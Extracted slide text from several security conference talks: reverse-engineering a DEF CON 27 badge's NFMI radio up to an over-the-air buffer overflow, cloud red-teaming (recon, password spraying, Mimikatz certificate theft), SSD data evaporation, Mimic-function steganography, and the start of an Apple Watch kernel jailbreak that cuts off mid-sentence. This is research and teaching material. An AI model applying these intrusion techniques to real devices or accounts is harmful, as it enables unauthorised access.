• Took 19.1 hours to get 9th symbol, 76.5 hours get 10th • At this rate it will take 51 days for 12 symbols • 36 years for 16 • 9139 years for 20 • Didn’t understand well enough to brute force them • Needed a smarter method 4 2 1 0 7 0 6 1 3 2 2 3 4 4 7 6 6 3 3 2 Last symbol to increment plus its tail of 6 changes Confirmed mask 1M 256k 64k 16k 4k 1k 256 64 16 4 . . . . . . 2 Last changed symbol indicates: Finding the Mask Symbols for Data 0-4 • Then I got lucky by getting unlucky – I broke a badge • Badge became very angry • Instead of 271 x 110 symbol packets, it transmitted a pattern of 108-symbols followed by 108 nulls • Counter moved over 16 symbols!?! • Transmitted around 1.4 MHz? • Conclusions: • Mask is 4210 7061 3242 2275 0332 • Assuming my 0/1 guess was right… • It’s better to be lucky than smart Finishing up the Data Mask • Discovered counter moves at ludicrous speed when updating Tx packet • That’s why counter starts at 346,637 • Wrote a script to update the Tx packet repeatedly then capture packets • Got mask and proved counter is 4 bytes • In case you want to send 2 billion packets over 41 years • Data mask resulted in some erratic values when decoding sequential counts • Wrong guess about what 1 and 0 • The broken badge locked the first (unused!) byte at 1 just to screw with me? • Mask for 1: 4210 7061 3242 2275 0332 • Mask for 0: 2336 7701 3203 2275 0332 Checksum Mask • That left only the mask for the Checksum/CRC • No way to get that until I know the algorithm and all data values • To get the values I had to understand the convolution • So I guessed and moved on • As the counter increments, it either changes: • 1 symbol for odd bits • 6 of the next 7 symbols for even bits • This means a 1-bit change is being spread out over 7 symbols • They are using convolution, possibly like the one used on the Voyager space probe • Voyager shift registers[1]: • 1111001 • 1011011 • But only for half of the bits…?!? [1] https://en.wikipedia.org/wiki/Convolutional_code Counter Indicates Values are Convolved Counter 427723574223 027723574223 446543654223 046543654223 467723574223 067723574223 406543654223 006543654223 421413701423 021413701423 444233061423 044233061423 Reverse Engineering Convolution Code • Started by changing 1 bit at a time • Any 1 odd bit always changed 1 symbol, and always by 4 • Any 1 even bit changed 6 of the next 7 symbols • Amount of change depended on mask and distance from the set bit • Even bit change (show in code and mask-bit logic) • Symbol positions 0, 2, 3, 6: mask in [1,2,5,6]) * 4 + 2; • [bit0^bit1, 1, 0] • Symbol position 1: (mask mod 4) * 2 + 3 • [bit0^bit1, ~bit0, 1] • Symbol position 5: mask in [1,3,5,7]) * 6 + 1 • [bit0, bit0, 1] 0 1 2 3 4 5 6 0 2 3 2 2 0 1 2 1 6 5 6 6 0 7 6 2 6 7 6 6 0 1 6 3 2 1 2 2 0 7 2 4 2 3 2 2 0 1 2 5 6 5 6 6 0 7 6 6 6 7 6 6 0 1 6 7 2 1 2 2 0 7 2 Symbol position after even bit Mask (or previous) Reversing Convolution Code, Multiple Bits • That math worked for decoding 1 even bit set in any position • But multiple even bits were a mess • After a lot of ugly math and dead ends, I realized the math that worked for a mask worked for any precious value Reversing Convolution Code, Even Bits • We can now convolve (or de-convolve) any number of even bits 0x00 0x00 0x01 0x00 0x05 0x00 Value of each byte: Even bits of that byte: Mask of 0: Convolved value: All math is modulo 8 Even bits Even bits Even bits Convoluted Convolution • Now I could decode the counter and it was sequential… mostly • Sometimes multiple odd bits convolved • I looked for patterns, added rules until it worked right • All the rules don’t care what the current bit is, only look at previous bits • Up to 2 bytes ago! • Some rules are triggered by 0 bits, not just 1s • Rules are: • xxx011x • xxx101x • 1xxxx1x • 11xxxxx  Time → Convolution • Convolution of even bits might be Trellis Code Modulation TCM* • I ended up figuring it out in a spreadsheet and writing some ugly python code, but it works • Easier than deciphering GNURadio documentation • Convolution of odd bits is… odd • xxx011x • xxx101x • 1xxxx1x • 11xxxxx Rate = 2/3, m = 7? *Can TCM convolve 1 bit into a pattern like 2322012? Is that middle 0 possible? CRC Reverse Engineering • Each packet ended with 10 unknown symbols, equivalent of 20 bits • 220 possible combinations, yet only 212 patterns were common/real • 12 bits stored in 20 bits?!? • Changing 1 symbol can alter the next 6, won’t that overwrite the nulls and primer? • All 10 symbols, “20 bits,” had to be correct • Altering any in a packet replay attack caused it to be rejected by the NFMI chip • Must reverse engineer this in order to craft custom packets • Tried the tool “CRC Reveng” but it didn’t seem to work • Wrote Python programs to try all possible 12-bit algorithms, didn’t work?!? CRC Reverse Engineering, Continued • Observed 1-bit difference in counter resulted in predictable checksum change • Checksum values were built up by XORing values from a table, just like a CRC! • I used counter values to get the CRC table values for the low bits • Noticed that updating a TX packet would fast-forward the counter by ~300,000 ticks • Wrote a program to speed the counter through more bits • Wrote another program to “bit walk” every byte I could control • Set 1 bit per packet • Wrote a program to ingest all this data and compute almost the entire CRC table CRC Reverse Engineering, Continued • I eyeballed a pattern in the 10 symbols that revealed a how the 12-bit CRC was stored • First 2 symbols store 4 bits of CRC data • Next 2 symbols store 3 bits • Next 2: 2 – only in odd bits • Next 2: 2 – only in odd bits • Next 2: 1 – only in odd bits • Only the first 4 symbols can cause a tail of 6 symbol changes • Odd bits only changes 1 symbol • CRC is stored in 10 symbols total, including the 6-symbol tail of changes from convolution! • Wicked smaht • Bits are shuffled around, for reasons • This is what thwarted CRC Reveng, and my brute force attempts • Later tried CRC Reveng with the bits rearranged, and it worked! CRC Reverse Engineering, Continued • Now I can compute a CRC for the 16 data bytes, but I need the mask • Originally I guessed randomly at the mask and based all the math off that • I think this worked since CRC is built by XOR, with a non-zero base value for an empty packet, and I was effectively XORing that base again that with my mask symbols • 9 of the bits change one symbol by 4, so that works like XOR • 3 bits can cause a trail of 6 changed symbols, which made some packets with those CRC values unreliable? • I think the CRC doesn’t protect the Preamble • Tried making packets with a ton of preamble variations, none worked • I assumed 16 0s in the data would have a CRC of 0 based the mask off that • It worked! Reliably! Crafted Packets at Last! • With the CRC and mask I can now craft my own 16-byte packet!!! • Will release my tools on github • But I need a 36 byte packet to overflow the badge… • I knew this from the start, hoped I would figure it along the way • No field for that in the packet • Preamble tinkering was a bust • Time to reverse engineer the NFMI firmware Extracting the NFMI firmware • To use SWD on the NFMI chip, first I had to find the reset line • Knew it was on a middle layer • Found out which ball it was from • Scoured slides to find the line to that ball, then Joe Grand sent me confirmation Extracting the NFMI firmware • Scratched a layer off the badge circuit board to expose a reset line on the middle layer • Cut it and soldered on a wire • The trace is about the size of a hair • Used a stereo microscope at Artisan’s Asylum • Connecting SWD to an undocumented chip • Added pull-ups, pull downs, resoldered everything • Then tried settings for random chips until one worked • Extracted NFMI memory space 0-0x18000… without the NFMI protocol code Reversing the NFMI Firmware • I extracted the NFMI protocol code from a section of the badge’s firmware, assembled the pieces together and dropped it into Ida Pro • Nothing in there indicated a packet length field • Coded to drop packets with more than 11 bytes • (Later I removed that, but I still don’t know how to craft a longer packet, and faking the length resulted in uninitialized data) • But I had seen (and logged) oversize packets occurring spontaneously and crashing the badge, what was going on? B df df df df df df df df df df df df df df df df dd dd dd dd dd dd E -- length = 22 0xFFFFFFFFFFFFFFFF -> Unique ID: 0xFFFFFFFF -> Badge Type: Unknown -> Magic Token: Yes -> Game Flags: 11111111 B df df df df df df 42 df df df df df df df df df df df df df df df df dd dd dd dd dd dd 42 df df df df df df df df df df df df df df df df dd dd dd dd dd dd E -- length = 52 Welcome to the DEFCON 27 Official Badge Off By One Bug to the Rescue • NFMI sends packet to badge via UART, • Badge checks for 2 bytes of space before copying 1 byte at a time to the ring buffer • One-by-one copying allows partial packets, off-by-one allows odd-sized packets • If I send the right pattern of packets, I can leave a buffer with 18 free bytes • NFMI chip sends ‘B’, 16 padded bytes and ‘E’ to badge MCU via UART • Badge writes ‘B’ and 16 bytes of padded data, sees only 1 byte free so it drops the ‘E’ 0 1 2 3 4 5 6 7 8 9 a b c d e f B 0 1 2 3 4 5 6 7 8 9 a b c d e f B 0 1 2 3 4 5 6 7 8 9 a b c d e f B E Occupied Receive Ring Buffer End free Occupied Ring Buffer Start 0 1 2 3 4 5 6 7 8 9 a b c d e f B Occupied Receive Buffer freeeeeeeeeeeeeeeeeeeeeeeeeeeeee free • The badge reads packets from the beginning of the ring buffer, freeing more space • Write a second packet before the badge empties ring buffer • The badge firmware finds the first ‘B’ then copies the next 33 bytes before finding ‘E’ • B16B16E ≈ B33E Off By One Bug, Continued • But wait, there’s more! • Keep hammering with the largest size packet, B22E (11 user bytes): • Fill the ring buffer so the last entry is: • B22 • 24 bytes read from the front allows 24 added to the end: • B22B22 • Badge reads faster than we can transmit, so there is lots of space when the next packet arrives: • B22B22B22E • Badge reads that “B”, then copies 68 bytes to dataBlog buffer before finding the ‘E’ • The dataBlog buffer is only 18-byte long… • Might be able to do even more • Fill the buffer with tiny packets to make reads take as long as possible • Then write larger packets that get truncated and keep the pain train going Demo: Crash a Def CON 27 Badge via NFMI • Now we can crash a stock badge at will! • It just takes a while with a 2048-byte buffer • 2048 / (a maximum of 24 bytes x 8 bursts / 4.8 seconds) x 2 = a boring demo • So I cheated and set the buffer to 72 bytes • Process: • Initialize the buffer • Might not know where nxhTxIndex and nxhRxIndex are pointing, so completely fill the buffer by blasting it for a while • Ring buffer may have unread packets, indexes might be moved by “RO” or “RC” after reboot. • Stop transmitting • Have the badge read packets and completely drain the buffer (Often see B20 for a 72-byte buffer after a reboot) • Indexes are now equal • Attack the buffer • Send 1 packet of total length = LPUART0_RING_BUFFER_SIZE % 24 • Length 8 or B6E for a 2048 byte buffer, nothing for a 72 byte buffer • Blast the buffer full, last entry is B22 • Have the badge start reading, keep blasting, last entry will grow to B22B22B22E • Splat Can We Do Something More Interesting? • dataBlob is 18 bytes but takes up 20 bytes of the stack, then there are 3 registers on the stack for 12 more bytes, then the LR register • We need to overwrite 32 bytes of junk, then up to 4 bytes of the LR • LR can only contain 000024CB* when the ring buffer is full • 25D7 after 1 packet read failure, 20xx-23xx when updating game state in non-interactive mode • Little endian lets us recycle the top bytes • One problem: all data is padded with Dx • Send 36 bytes: LR = DxDxDxDx: Invalid • Send 35 bytes: LR = 00DxDxDx: Invalid • Send 34 bytes: LR = 0000DxDx: Data and a BXLR, not helpful • Send 33 bytes: LR = 000024Dx: 000024DD may return to waiting for a packet • Send 33 bytes: LR = 000025Dx: 000025DF might display ascii art • I can crash a stock badge but not run arbitrary code  * +1 for thumb 👍 Fixing the NFMI Protocol • The only way around that was to cheat • Modify the victim badge’s firmware to modify the NFMI firmware at boot up • Found code that padded output with 0xDn • Removed that padding code • Removed the stupid ‘B’ and ‘E’ crap too • Original game still works • Use 10 user data bytes to send “B”, data, “E” “Before” “After” NFMI Proprietary Firmware Format • Lastly I had to figure out the bizarre NFMI firmware format • 3 sections, each consists of • Data Segment • CAFEBABE (what is this, Java?) • Length • Base address • CRC-32/POSIX of header • Data (Length x 2 bytes) • Padding 0xFFFF, if Length is odd • Checksum/mixed-up-CRC • Additional data segments (optional) • End • 0 (Length) • 0 (Base) • Checksum/mixed-up-CRC • Put that into the original firmware, time for some fun 10 • Live Demos of over-the-air remote code execution of arbitrary code • Demos that exist so far: • I can write an arbitrary string to the debug console, currently “Seth was here!!” • I can write a string from the badge memory to the console, like “Goon” or “Speaker” • Demos in progress • Play the RickRoll music • Play arbitrary sounds, perhaps SOS • Do something with the LEDs on the badge. • Trigger the ASCII art function in the badge • Demo of POC • Demo of oversized packet • Demo of CRC table? Oddities • First packet data always contains the following in ASCII: “0403E045” • 0x45E00304 stored in NXH memory at 17DFC and 17E20 but not referenced by code • Might be a output buffer address computed by the NFMI…? • Also got error packets with “0D047039” • 0x3970040D = ???? • NFMI firmware has the entries: 00C0: 2281A100, “rev53481M” 43E2: 2281A100, “rev53481MS” • 2281A100 ≡ 0x00A18122 = 1058435410 ≟ 10.584354Mhz? • Or is it the rev values backwards? 1 05 8435 4 backwards? Remaining Mysteries: Preambles • Preamble bytes 0-4 suggest signal could actually be a DD8PSK (DD9PSK?) because the differences between the first 20 symbols 4440 4040 2460 0000 6420 are: • ?000 4444 2222 0000 6666 • Preamble bytes 5-7 – what do they mean? • Assuming the mask is 0040 0000 0000 (20 00 00), preamble values are: • 0040 0000 0000 = 00 00 00 • 0042 3133 4224 = C0 FF 55 • 0044 2774 6756 = 80 87 00  the one used in packets • Unknown if CRC protects any preamble bytes, or just the data • I made packet with the section 2 preambles and all possible CRCs, none worked • Tried a lot of versions of the last 3 preambles bytes, • Occasionally one that was close to the original would work, sporadically • Probably because noise turned it back into the original preamble Remaining Mysteries • Where does the mask come from? • Tried all the first 20 or so PRBS, nada • Tried changing endianness, reversing the bits, splitting odd and even bits • Haven’t tried double-diffing or un-diffing the bits • Must be an easy way to stream or send longer packets • Throughput right now is about 22 bytes per second… • What the heck is that convolution?
pdf
Hacking the Cloud Gerald Steere – Microsoft C+E Red Team (@Darkpawh) Sean Metcalf – CTO Trimarc (@pyrotek3) Gerald Steere - @darkpawh 10+ years experience as a penetration tester and red team operator​ Member of C+E Red Team since 2014​ Speaker at BlueHat and Bsides Seattle Spends work days happily smashing atoms in Azure About Us Sean Metcalf - @pyrotek3 Founder Trimarc, a security company. Microsoft Certified Master (MCM) Directory Services Speaker: Black Hat, BSides, DEF CON, DerbyCon, Shakacon, Sp4rkCon Security Consultant / Security Researcher Own & Operate ADSecurity.org (Microsoft platform security info) About Us + Cloud FTW! What’s in it for me? Staying clean while being mean Buzzword bingo with cloud lingo Pathfinding, recon, and targeting in multiple dimension Currency exchange – what do I do with all these hashes? Happy fun exploit time (with demos) Countermeasures and proper protection Cloud? Who cares! What’s in it for me? Cloud matters for business Your client probably uses it, whether you (or they) realize it or not Many traditional techniques do not work Same concepts but new ways of thinking What’s in it for me? When we last saw our intrepid red team Hired to red team SithCo Have domain admin on a subsidiary domain SithCo uses public cloud resources to host web applications Hacker Quest How do we leverage access to get into SithCo corporate? Staying clean while being mean Cause pissing off The Net is bad for business Can I really go after my client’s cloud deployments? We are not lawyers. If you’re a professional you need one of those to talk to ALWAYS. Staying Clean Lawful Evil is a perfectly valid alignment Scope & Access will be more limited Spell out enforced limitations in your reporting Cloud providers typically require an approval process be followed Staying Clean Attacking Azure, AWS, or Google Cloud Deployments Requires preapproval by account owner (Azure and AWS) Standard Rules of Engagement (RoE) stuff Limited to customer owned resources No DoS Can include attempts to break isolation (Azure) Staying Clean Buzzword Bingo Do you have your card ready? Accessibility modifiers Public could Private cloud Hybrid cloud Buzzword Bingo https://www.stickermule.com/marketplace/3442-there-is-no- cloud All the aaS Buzzword Bingo Albert Barron – https://www.linkedin.com/pulse/20140730172610-9679881-pizza-as-a-service It’s not domain, but it’s still admin Cloud assets are managed under an account or subscription Getting access to that layer is often equivalent to DA Buzzword Bingo CloudOS - Same ideas, different words Buzzword Bingo Server Domain Domain Admin Pass the Hash Private IPs RDP / SSH Services Subscription Subscription Admin Credential Pivot Public IPs Management APIs Faust and Johnson – Cloud Post Exploitation Techniques Infiltrate 2017 https://vimeo.com/214855977 Where’s the data? Cloud services rely on data storage for nearly everything How is data stored in the cloud? Do I need to attack the service or is the data my real goal? Buzzword Bingo Image: ©MITRE SithCo’s app hosting What are we looking at? Pathfinding, recon, and targeting in multiple dimension How do I figure out I even need to look at the cloud? Identifying Cloud Deployments In the public cloud – DNS is your best friend Pathfinding Cloud Recon: DNS MX Records • Microsoft Office 365: DOMAIN-COM.mail.protection.outlook.com • Google Apps (G Suite): *.google OR *.googlemail.com • Proofpoint (pphosted) • Cisco Email Security (iphmx) • Cyren (ctmail) • GoDaddy (secureserver) • CSC (cscdns) Pathfinding Cloud Recon: DNS TXT Records MS = Microsoft Office 365 Google-Site-Verification = G Suite Amazonses = Amazon Simple Email OSIAGENTREGURL = Symantec MDM AzureWebsites = Microsoft Azure Paychex = Paychex financial services Docusign = Docusign digital signatures Atlassian-* = Atlassian services Pathfinding Cloud Recon: SPF Records SalesForce (salesforce.com, pardot.com, & exacttarget.com) MailChimp (mcsv.net) Mandrill (MailChimp paid app) Q4Press (document collaboration) Zendesk (support ticket) Oracle Marketing (Eloqua.com) Constant Contact (email marketing) Postmark (mtasv.net) Pathfinding Discover Federation Servers No standard naming for FS. DNS query for: • adfs • auth • fs • okta • ping • sso Pathfinding Federation Web Page Detail Pathfinding OWA Version Discovery Check for autodiscover subdomain (autodiscover.domain.com) Connect to autodiscover web page (https://autodiscover.domain.com) Copyright date effectively provides Exchange version: 2006 = Microsoft Exchange 2007 Pathfinding Cloud and Federation Attackers go after Identity since that provides access to resources. Modern auth Cloud authentication and authorization is typically independent from the on-premises domain, though Federation may provide a path… How you authenticate will depend on the specific cloud provider More Buzzword Bingo: • OAUTH • OpenID • SAML • WS-Federation • WS-Trust Identity Identity ADFS Federation Server Config Identity Federation server typically lives on the internal network with a proxy server in the DMZ. Certificates installed on Federation server Service communication Token-decrypting Token-signing Relying party trusts: cloud services and applications Claim rules: determine what type of access and from where access is allowed. Federation Key Points Identity Federation: trust between organizations leveraging PKI (certificates matter) Cloud SSO often leverages temporary or persistent browser cookies (cookies provide access) Several protocols may be supported, though typically SAML. (protocols and versions matter) Federation server (or proxy) is on public internet via port 443 (HTTPS). How to steal identities – federated style Identity Federation is effectively Cloud Kerberos. Own the Federation server, own organizational cloud services. Token & Signing certificates ~= KRBTGT (think Golden Tickets) Steal federation certificates to spoof access tokens (Mimikatz fun later). On-Premises Cloud Components How do we get those identities into the cloud anyways? Active Directory & the Cloud Identity Active Directory provides Single Sign On (SSO) to cloud services. Some directory sync tools synchronizes all users and their attributes to cloud service(s). Most sync engines only require AD user rights to send user and group information to cloud service. Most organizations aren’t aware of all cloud services active in their environment. Express Permissions for Azure AD Connect Identity https://docs.microsoft.com/en-us/azure/active-directory/connect/active-directory-aadconnect-accounts-permissions Custom Permissions for Azure AD Connect Identity https://docs.microsoft.com/en-us/azure/active-directory/connect/active-directory-aadconnect-accounts-permissions Currency exchange – what do I do with all these hashes? I never liked buying tokens, but that’s all these things take Spending our horde I’ve got all these hashes and no where to go No matter how many times you’ve popped the KRBTGT account, your cloud provider really doesn’t care Currency exchange Creds, creds never change Certificates, certificates, certificates! Popping dev boxes has never been more productive You do know mimikatz can also export certificates, right? Currency exchange What is old is new again Password Spraying involves attempting authentication with a single password against all users before moving on to the next password. Works against Cloud services: email, IM, etc. Low & Slow: 1 to 2 per hour Often works against VPN as well. Currency exchange Password spraying tools OWA-Toolkit: https://github.com/johnnyDEP/OWA-Toolkit MailSniper: Invoke-PasswordSprayOWA https://github.com/dafthack/MailSniper Patator: https://github.com/lanjelot/patator LyncSniper: https://github.com/mdsecresearch/LyncSniper https://www.mdsec.co.uk/2017/04/penetration-testing-skype-for- business-exploiting-the-missing-lync/ The authors have not evaluated these tools. Always test before use. Currency exchange DevOops DevOps probably has what you are looking for API keys and shared secrets for the win Source code access for fun and profit How are these deployments done anyways? Currency exchange Where Are API Keys? GitHub! Currency exchange https://hackernoon.com/how-to-use-environment-variables- keep-your-secret-keys-safe-secure-8b1a7877d69c https://github.com/jjenkins/node-amazon-ses/issues/9 The circle of access Access between on-premises and cloud deployments often a two way street On-premises -> cloud typically involves identifying credentials Is there a way back? Are there shared authentication methods? Currency exchange The circle of access What is the likelihood this cloud service needs to access resources from on- premises? Currency exchange Happy fun exploit time Pray to the demo gods, pray I say! Demo stuff here Currency exchange There should be a fun live demo here if everything goes right Countermeasures and proper protection Closing my eyes and hoping it goes away isn’t going to work, is it? Giving useful advice Telling your client to close up shop and moving back into the basement is probably a non-starter Clouds do provide real business benefits and can improve security when done right How can the “cloud” be secured? Countermeasures Giving useful advice: The Basics Properly handle, store, and mange credentials and secrets You aren’t storing those access keys in GIT are you? Clouds do provide managed secret stores Make it easy for DevOps to do the right thing Enforce MFA on all accounts If it can’t have MFA, limit it as much as possible and monitor it Countermeasures Giving useful advice: Securing Federation Protect Federation servers at the same level as Domain Controllers. Use a proxy server to limit communication directly with federation server inside the network. Audit cloud authentication by logging Federation auth events & send to SIEM. Enable multifactor authentication for all admin accounts & preferably all cloud accounts. Control Cloud authentication via Federation rules. Example: Internal network access provides single sign-on External access requires username, password, and two-factor authentication Countermeasures Giving useful advice Many of the basics remain the same Least privilege is key and poorly understood in many cloud implementations Least access, use the security features provided by the cloud Credential management is hard in a connected world – this is an massive opportunity for attackers Countermeasures Monitoring and alerting It’s not just for your network any more Defenders need to work with DevOps to make sure that cloud resources and data are considered in defensive designs Different cloud providers provide different tools for managing security Defenders must be familiar with the tools from cloud providers used by their client Log collection and management needs to include cloud assets You do know what your assets are, right? Assume breach! Countermeasures Conclusion Are we there yet? References Infiltrate 2017: Cloud Post Exploitation Techniques - Andrew Johnson & Sacha Faust https://vimeo.com/214855977 Azure Security: https://portal.msrc.microsoft.com/en- us/engage/pentest AWS Security: https://aws.amazon.com/security/penetration-testing/ Google Cloud Security: https://cloud.google.com/security/ MailSniper: https://github.com/dafthack/MailSniper Patator: https://github.com/lanjelot/patator Conclusion
pdf
SSD  Data  Evapora+on DEF  CON  21 August  2,  2013 Bio Data  Remanence Deleted  Data •  On  magne+c  hard disks,  data  remains +ll  it  is  overwriEen •  Image  from www.howstuffworks.com DEMO  on  Windows •  Observing  data  on  a  magne+c  hard  disk  aMer – Moving  to  Recycle  Bin – Emptying  Recycle  Bin – FormaOng  Drive  (Quick) – FormaOng  Drive  (Slow) Forensics  &  Data  Recovery •  We  can  recover  deleted  data •  Find  evidence  of  crimes •  Even  aMer  a  format •  Very  few  criminals  know  enough  to  use encryp+on  or  forensic  erasure Useful  Free  Data  Recovery  Tools •  Recuva  for  PC •  Disk  Drill  for  Mac SSDs •  From  hEp://www.isuppli.com/Abstract/P28276_20130322152341.pdf How  SSDs  Work •  Data  can  be  read  and wriEen  one  page  at  a +me,  but  can  only  be erased  a  block  at  a +me •  Each  erasure  degrades the  flash—it  fails around  10,000 erasures •  From  hEp://www.anandtech.com/ show/2738/5 Garbage  Collec+on •  SSD  controller  erases  pages  all  by  itself,  when it  knows  they  are  empty •  The  TRIM  command  is  sent  to  the  SSD  when  a file  is  deleted – But  only  if  you  use  a  the  correct  OS,  Par++on  type, and  BIOS  seOngs •  Yuri  Gubanov  calls  this  “Self-­‐Corrosion”  –  I  call it  Data  Evapora;on Demo  on  Mac:  Disk  Drill •  Deleted  files from  desktop evaporate  in 30-­‐60  min Demo  on  PC •  Save  data  on  an  SSD •  Watch  it  evaporate! •  How  to  test  TRIM – fsu;l  behavior  query  DisableDeleteNo;fy – Zero  =  TRIM  enabled When  Does  TRIM  Work? •  BIOS:  Drive  must  be  SATA  in  AHCI  mode,  not in  IDE  emula+on  mode •  SSD  must  be  new  (Intel:  34  nm  only) •  Windows  7  or  later – NTFS  volumes,  not  FAT •  Mac  OS  X  10.6.8  or  later – Must  be  Apple-­‐branded  SSD When  Does  TRIM  Work? •  External  Drives  must  use  SATA  or  SCSI,  not USB •  PCI-­‐Express  &  RAID  does  not  support  TRIM •  From  hEp://forensic.belkasoM.com/en/why-­‐ssd-­‐destroy-­‐court-­‐evidence Expert  Witness  Tes+mony Experience •  In  court,  an  expert  witness  can  state  an opinion •  Must  be  based  on  personal  experience – “I  read  it  in  a  book”  NO – “A  teacher  said  it  in  a  class”  NO – “I  know  this  because  I  tested  it”  YES •  So  forensic  examiners  do  a  lot  of  tes+ng Summary •  SSDs  retain  deleted  data  some+mes •  Other  +mes  they  don’t •  It  depends  on – Manufacturer – OS – BIOS – Interface – Who  knows  what  else The  evap  Tool For  Mac  OS  X  Only Intro Evapora+on  on  JHFS+ No  Evapora+on  on  HFS+ More  Info •  Slides,  instruc+ons  for  the  aEacks,  &  more  at •  Samsclass.info
pdf
Mimicry: An Introduction By Mystic What is Mimicry?  The ability to survive by mimicking surroundings What is Mimicry?  The ability to survive by mimicking surroundings  Visibility of encryption What is Mimicry?  The ability to survive by mimicking surroundings  Visibility of encryption  Grammar filtering to find encrypted data Peter Wayner’s Mimic Functions  A way to encrypt/hide data in which the output is statistically and grammatically sound Peter Wayner’s Mimic Functions  A way to encrypt/hide data in which the output is statistically and grammatically sound  Generates text using the syntax described in a Context Free Grammar (CFG) and hides data by the choices it makes Context Free Grammars  A way of describing language Context Free Grammars  A way of describing language  Uses  Terminals: Words and phrases that are static Context Free Grammars  A way of describing language  Uses  Terminals: Words and phrases that are static  Variables: Places where decisions can be made Context Free Grammars  Productions: describes how a variable can be converted into different sets of variables or terminals Context Free Grammars  Productions: describes how a variable can be converted into different sets of variables or terminals  Example of a production: variable ---> phrase || words Context Free Grammar  Example of a CFG: Start ---> noun verb noun ---> Fred || Barney || Fred and Barney verb ---> went fishing. || went bowling. How Data is Hidden  Mimic generates a binary tree based on the possibilities in a context free grammar How Data is Hidden  Mimic generates a binary tree based on the possibilities in a context free grammar  It then chooses the leaves that would encode the right bits How Data is Hidden  Given the fallowing CFG: Start ---> noun verb noun ---> Fred || Barney verb ---> went fishing where || went bowling where where ---> in direction Iowa. || in direction Minnesota. direction ---> northern || southern How Data is Hidden  Bits to be hidden: 1010 Start ---> noun verb noun ---> Fred || Barney verb ---> went fishing where || went bowling where where ---> in direction Iowa. || in direction Minnesota. direction ---> northern || southern Step Answer in Progress Bit Hidden Production Choice ------------------------------------------------------------------------------------------------- 1 Start none Start ---> noun verb 2 noun verb 1 noun ---> Barney 3 Barney verb 0 verb ---> went fishing where 4 Barney went fishing where 1 where ---> in direction Minnesota. 5 Barney went fishing in direction 0 direction ---> northern Minnesota Final sentence: Barney went fishing in northern Minnesota Mimic Grammar File  Variables: Start with an asterisk and must be one word Mimic Grammar File  Variables: Start with an asterisk and must be one word  Productions are separated by numbers between forward slashes Mimic Grammar File  Variables: Start with an asterisk and must be one word  Productions are separated by numbers between forward slashes  The numbers indicate the weight given to the production (the higher the number the more probable it will occur in the production) Mimic Grammar File  Variables: Start with an asterisk and must be one word  Productions are separated by numbers between forward slashes  The numbers indicate the weight given to the production (the higher the number the more probable it will occur in the production)  The end of a variable is indicated by double slashes Mimic Grammar File  The starting variable is the variable that is alphabetically first Mimic Grammar File  The starting variable is the variable that is alphabetically first  Example: *AAStart = Fred went to *con /.1/ Barney went to *con /.1// *con = Defcon /.1/ Black Hat /.01// Mimic Grammar File  Grammars can not be ambiguous, meaning there must be only one way of producing any given phrase (sentence) Mimic Grammar File  Grammars can not be ambiguous, meaning there must be only one way of producing any given phrase (sentence)  Example of an ambiguous grammar: *AAStart = *first *second// *first = love /.5/ love and /.5// *second = death /.5/ and death /.5// Mimic Grammar File  To avoid ambiguous grammars, grammars must be in Greibach Normal Form (GNF) meaning variables must be at the end of productions Limitations of Mimic Functions  Can create huge files from small amounts of text, depends on the number of possibilities in the grammar Limitations of Mimic Functions  Can create huge files from small amounts of text, depends on the number of possibilities in the grammar  Output starts repeating Limitations of Mimic Functions  Can create huge files from small amounts of text, depends on the number of possibilities in the grammar  Output starts repeating  Randomness is built in, but not very sophisticated ircMimic  Mimicry in a live chat environment ircMimic  Mimicry in a live chat environment  Sends a Mimic encoded message in the form of one side of an IRC conversation ircMimic  Mimicry in a live chat environment  Sends a Mimic encoded message in the form of one side of an IRC conversation  ircMimic Grammar File  Added “new line” character  Maximized possibilities ircMimic  Going further with ircMimic  Have two bots talk with each other in order to send a message ircMimic  Going further with ircMimic  Have two bots talk with each other in order to send a message  Add more to the grammar Resources + Links  Mimic  http://www.wayner.org/texts/mimic/  http://www.spammimic.com  http://www.owlriver.com/test/disk2/  Disappearing Cryptography  http://www.wayner.org/books/discrypt2/  ircMimic  http://code.lostways.com/ircmimic/ Resources + Links  TVSG  http://www.tvsg.org/
pdf
July 27-30, 2017 1 2 3 4 5 6 7 8 9 10 11 12 Max Bazaliy Jailbreaking Apple Watch July 27-30, 2017 whoami 1 2 3 4 5 6 7 8 9 10 11 12 o  Security researcher at Lookout o  Lead researcher on Pegasus exploit chain o  Focused on advanced exploitation techniques o  Fried Apple team co-founder o  iOS/tvOS/WatchOS jailbreak author July 27-30, 2017 o  Released in 2015% o  Apple S1/S2%processor o  ARMv7k 32 bit architecture o  512 MB RAM o  WatchOS 1 2 3 4 5 6 7 8 9 10 11 12 What is Apple Watch ? July 27-30, 2017 o  Its fun J o  Access to sensitive user data o  Run tools like radare or frida on a watch o  iPhone attack vector 1 2 3 4 5 6 7 8 9 10 11 12 Why to pwn a watch? July 27-30, 2017 1 2 3 4 5 6 7 8 9 10 11 12 Apple Watch security o  Secure boot chain o  Mandatory Code Signing o  Sandbox o  Exploit Mitigations o  Secure Enclave Processor (2-nd generation only) o  Data Protection July 27-30, 2017 1 2 3 4 5 6 7 8 9 10 11 12 Possible attack vectors o  Malformed USB descriptor (cable required) o  Malformed email, message, photo, etc o  Application extension based July 27-30, 2017 1 2 3 4 5 6 7 8 9 10 11 12 Attack plan o  Leak kernel base o  Dump whole kernel o  Find gadgets and setup primitives o  Disable security restrictions o  Run ssh client on a watch July 27-30, 2017 1 2 3 4 5 6 7 8 9 10 11 12 Bugs of interest o  CVE-2016-4656%- osunserialize bug o  CVE-2016-4669%- mach_port register o  CVE-2016-7644%- set_dp_control_port o  CVE-2017-2370%- voucher extract recipe July 27-30, 2017 1 2 3 4 5 6 7 8 9 10 11 12 Leaking kernel slide o  CVE-2016-4655%and CVE-2016-4680% o  Object constructor missing bounds checking o  OSNumber object with high number of bits o  Object length used to copy value from stack o  Kernel stack memory leaked o  Can be triggered from an app’s sandbox July 27-30, 2017 1 2 3 4 5 6 7 8 9 10 11 12 OSObject * OSUnserializeBinary(const char *buffer, size_t bufferSize, OSString **errorString) { uint32_t key, len, wordLen; len = (key & kOSSerializeDataMask); ... case kOSSerializeNumber: bufferPos += sizeof(long long); if (bufferPos > bufferSize) break; value = next[1]; value <<= 32; value |= next[0]; o = OSNumber::withNumber(value, len); next += 2; break; No number length check July 27-30, 2017 1 2 3 4 5 6 7 8 9 10 11 12 bool OSNumber::init(unsigned long long inValue, unsigned int newNumberOfBits) { if (!super::init()) return false; size = newNumberOfBits; value = (inValue & sizeMask); return true; } unsigned int OSNumber::numberOfBytes() const { return (size + 7) / 8; } No number length check Return value is 